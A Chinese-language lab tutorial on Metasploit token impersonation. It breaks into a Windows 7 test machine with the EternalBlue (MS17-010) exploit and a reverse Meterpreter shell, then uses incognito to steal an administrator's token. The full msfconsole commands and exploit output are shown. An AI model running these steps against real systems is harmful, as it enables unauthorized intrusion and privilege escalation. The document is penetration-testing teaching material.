1. 程式人生 > >Metasploit之令牌竊取

Metasploit之令牌竊取

# 令牌簡介及原理 令牌(Token) 就是系統的臨時金鑰,相當於賬戶名和密碼,用來決定是否允) 許這次請求和判斷這次請求是屬於哪一個使用者的。它允許你在不提供密碼或其他憑證的前提下,訪問網路和系統資源。這些令牌將持續存在於系統中,除非系統重新啟動。 令牌最大的特點就是隨機性,不可預測,一般黑客或軟體無法猜測出來。令牌有很多種,比如訪問令牌(Access Token)表示訪問控制操作主題的系統物件;密保令牌(Security token),又叫作認證令牌或者硬體令牌,是一種計算機身份校驗的物理裝置,例如U盾;會話令牌(Session Token)是互動會話中唯一的身份識別符號。 在假冒令牌攻擊中需要使用Kerberost協議。所以在使用假冒令牌前,先來介紹Kerberost協議。Kerberos是一種網路認證協議,其設計目標是通過金鑰系統為客戶機/伺服器應用程式提供強大的認證服務。Kerberos的工作機制如下圖所示。 ![Kerberos工作機制](https://img2020.cnblogs.com/blog/2138744/202009/2138744-20200929191459999-2013212557.png) 客戶端請求證書的過程如下所示。 * 客戶端向認證伺服器(AS)傳送請求,要求得到伺服器的證書。 * AS收到請求後,將包含客戶端金鑰的加密證書響應傳送給客戶端。該證書包括伺服器ticket (包括伺服器金鑰加密的客戶機身份和一份會話金鑰)和一個臨時加s密金鑰(又稱為會話金鑰,session key) 。當然,認證伺服器也會給伺服器傳送一份該證書,用來使伺服器認證登入客戶端的身份。 * 客戶端將ticket傳送到伺服器上,伺服器確認該客戶端的話,便允許它登入伺服器。 * 客戶端登入成功後,攻擊者就可以通過入侵伺服器獲取客戶端的令牌。 **攻擊機kali:192.168.1.104** **靶機win7:192.168.1.102** # 假冒令牌實戰利用 ``` msf5 > search ms17_010 # 搜尋永恆之藍漏洞利用模組 Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 1 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution 2 auxiliary/scanner/smb/smb_ms17_010 normal Yes MS17-010 SMB RCE Detection 3 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption 4 exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+ 5 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution msf5 > use exploit/windows/smb/ms17_010_eternalblue # 用這個模組,注意,靶機別打補丁,別開防火牆,以保證試驗成功 msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp # 用這個payload payload => windows/x64/meterpreter/reverse_tcp msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.168.1.102 # 設定目標機IP RHOST => 192.168.1.102 msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.104 # 設定攻擊機IP LHOST => 192.168.1.104 msf5 exploit(windows/smb/ms17_010_eternalblue) > run # 開炮開炮開炮!!! [*] Started reverse TCP handler on 192.168.1.104:4444 [*] 192.168.1.102:445 - Connecting to target for exploitation. [+] 192.168.1.102:445 - Connection established for exploitation. [+] 192.168.1.102:445 - Target OS selected valid for OS indicated by SMB reply [*] 192.168.1.102:445 - CORE raw buffer dump (38 bytes) [*] 192.168.1.102:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61 Windows 7 Ultima [*] 192.168.1.102:445 - 0x00000010 74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 te 7601 Service [*] 192.168.1.102:445 - 0x00000020 50 61 63 6b 20 31 Pack 1 [+] 192.168.1.102:445 - Target arch selected valid for arch indicated by DCE/RPC reply [*] 192.168.1.102:445 - Trying exploit with 12 Groom Allocations. [*] 192.168.1.102:445 - Sending all but last fragment of exploit packet [*] 192.168.1.102:445 - Starting non-paged pool grooming [+] 192.168.1.102:445 - Sending SMBv2 buffers [+] 192.168.1.102:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer. [*] 192.168.1.102:445 - Sending final SMBv2 buffers. [*] 192.168.1.102:445 - Sending last fragment of exploit packet! [*] 192.168.1.102:445 - Receiving response from exploit packet [+] 192.168.1.102:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)! [*] 192.168.1.102:445 - Sending egg to corrupted connection. [*] 192.168.1.102:445 - Triggering free of corrupted buffer. [*] Sending stage (206403 bytes) to 192.168.1.102 [*] Meterpreter session 1 opened (192.168.1.104:4444 -> 192.168.1.102:49163) at 2020-09-29 19:22:08 +0800 [+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= meterpreter > # 可以開幹壞事啦 ``` 此時我們通過一系列前期滲透:
,已經成功獲得了目標機的MeterpreterShell,首先輸入getuid命令檢視已經獲得的許可權,然後輸入getsystem,發現提權失敗。 (咦。。。直接system許可權我透,算了繼續做,當作我沒有的亞子…… ![](https://img2020.cnblogs.com/blog/2138744/202009/2138744-20200929192455730-1702726665.png) 我們先輸入`use incognito`命令,然後輸入`list_tokens -u`列出可用的token如下: ![](https://img2020.cnblogs.com/blog/2138744/202009/2138744-20200929192753449-1834236666.png) 可以看到有兩種型別的令牌: 一種是Delegation Tokens,也就是授權令牌,它支援互動式登入(例如可以通過遠端桌面登入訪問) ;還有一種是Impersonation Tokens,也就是模擬令牌,它是非互動的會話。令牌的數量其實取決於Meterpreter Shell的訪問級別。 由上圖可以看到,我們已經獲得了一個系統管理員ge的授權令牌,現在就要假冒這個令牌,成功後即可擁有它的許可權。 從輸出的資訊可以看到分配的有效令牌包含ge-PC\ge,其中ge-PC是目標機的主機名,ge表示登入的使用者名稱。接下來在incognito中呼叫impersonate token命令假冒ge使用者進行攻擊,具體方法如下圖所示。 ![](https://img2020.cnblogs.com/blog/2138744/202009/2138744-20200929193411684-336758425.png) **注意:在輸入HOSTNAME\USERNAME時需要兩個反斜槓(\\)** 執行成功後在Meterpreter Shell下執行shell命令並輸入whoami,可以看到筆者現在就是假冒的那個ge-pc\ge系統管理員了。 # 說明 本文參考 開篇的部落格連結 及 《Web安全攻防:滲透測試實戰指南》 所有過程僅供演示交流,**禁止用於非法用途**,由此產生的非法後果與我無瓜